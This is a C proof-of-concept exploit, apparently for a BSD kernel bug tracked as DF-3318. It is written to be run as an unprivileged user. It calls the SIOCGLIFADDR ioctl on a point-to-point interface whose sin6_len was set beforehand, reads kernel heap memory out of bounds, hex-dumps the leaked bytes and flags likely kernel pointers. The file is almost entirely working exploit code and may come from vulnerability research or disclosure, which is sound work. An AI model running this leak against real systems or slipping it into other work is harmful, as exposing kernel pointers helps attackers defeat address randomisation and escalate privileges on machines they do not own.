/*
 * DF-3318 leak trigger: run as UNPRIVILEGED user (nobody).
 *
 * SIOCGLIFADDR has no privilege check (in6_control_internal,
 * sys/netinet6/in6.c:490-499).  For a POINTOPOINT interface it does
 *
 *	bcopy(&ia->ia_dstaddr, &iflr->dstaddr, ia->ia_dstaddr.sin6_len);
 *
 * (sys/netinet6/in6.c:1570-1572) with the attacker-chosen (root-set)
 * sin6_len from the setup step -- an out-of-bounds kernel heap READ of
 * (sin6_len - 28) bytes past the start of ia_dstaddr, whose tail is
 * copied back to userspace by the generic ioctl copyout
 * (sys/kern/sys_generic.c:730, 280 bytes).
 *
 * Bytes [0..27]  of iflr->dstaddr == ia_dstaddr itself (known).
 * Bytes [28..127] == ia_prefixmask, ia_plen, ia_next (kernel heap
 * pointer!), ia6_flags, ia6_lifetime, ia6_ndpr (pointer) and -- once
 * sin6_len exceeds the tail of struct in6_ifaddr -- adjacent slab
 * memory.
 *
 * Build: cc -O -o leak leak.c
 * Run:   ./leak            (as nobody)
 */
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/sockio.h>
#include <net/if.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <stddef.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
	struct if_laddrreq iflr;
	struct sockaddr_in6 *sin6;
	int s, i;
	const char *ifname = (argc > 1) ? argv[1] : "gif0";
	unsigned char *d;

	s = socket(AF_INET6, SOCK_DGRAM, 0);
	if (s < 0) { perror("socket"); exit(1); }

	memset(&iflr, 0, sizeof(iflr));
	strlcpy(iflr.iflr_name, ifname, sizeof(iflr.iflr_name));

	/*
	 * Select the crafted 2001:db8::1 address via IFLR_PREFIX
	 * (exact /128 prefix match), otherwise the walk returns the
	 * auto-attached link-local address.
	 */
	sin6 = (struct sockaddr_in6 *)&iflr.addr;
	sin6->sin6_len = sizeof(*sin6);
	sin6->sin6_family = AF_INET6;
	inet_pton(AF_INET6, "2001:db8::1", &sin6->sin6_addr);
	iflr.prefixlen = 128;
	iflr.flags = IFLR_PREFIX;

	if (ioctl(s, SIOCGLIFADDR, &iflr) < 0) {
		printf("SIOCGLIFADDR on %s: %s\n", ifname, strerror(errno));
		exit(1);
	}

	sin6 = (struct sockaddr_in6 *)&iflr.addr;
	printf("addr.sin6_len=%u family=%u ", sin6->sin6_len, sin6->sin6_family);
	printf("prefixlen=%u flags=%08x\n", iflr.prefixlen, iflr.flags);

	d = (unsigned char *)&iflr.dstaddr;
	sin6 = (struct sockaddr_in6 *)d;
	printf("dstaddr.sin6_len=%u family=%u addr=",
	    sin6->sin6_len, sin6->sin6_family);
	{
		char buf[64];
		inet_ntop(AF_INET6, &sin6->sin6_addr, buf, sizeof(buf));
		printf("%s\n", buf);
	}

	printf("---- dstaddr bytes [0..127] ----\n");
	for (i = 0; i < 128; i++) {
		if ((i % 16) == 0)
			printf("%3d: ", i);
		printf("%02x ", d[i]);
		if ((i % 16) == 15)
			printf("\n");
	}

	/* highlight plausible kernel pointers in the leaked region */
	printf("---- candidate kernel pointers at bytes>=28 ----\n");
	for (i = 28; i + 8 <= 128; i += 4) {
		unsigned long long v;
		memcpy(&v, d + i, 8);
		if (v >= 0xffff800000000000ULL && v < 0xffffffffffffffffULL &&
		    (v & 0xf) == 0)
			printf("  off %3d: 0x%016llx\n", i, v);
	}
	return (0);
}
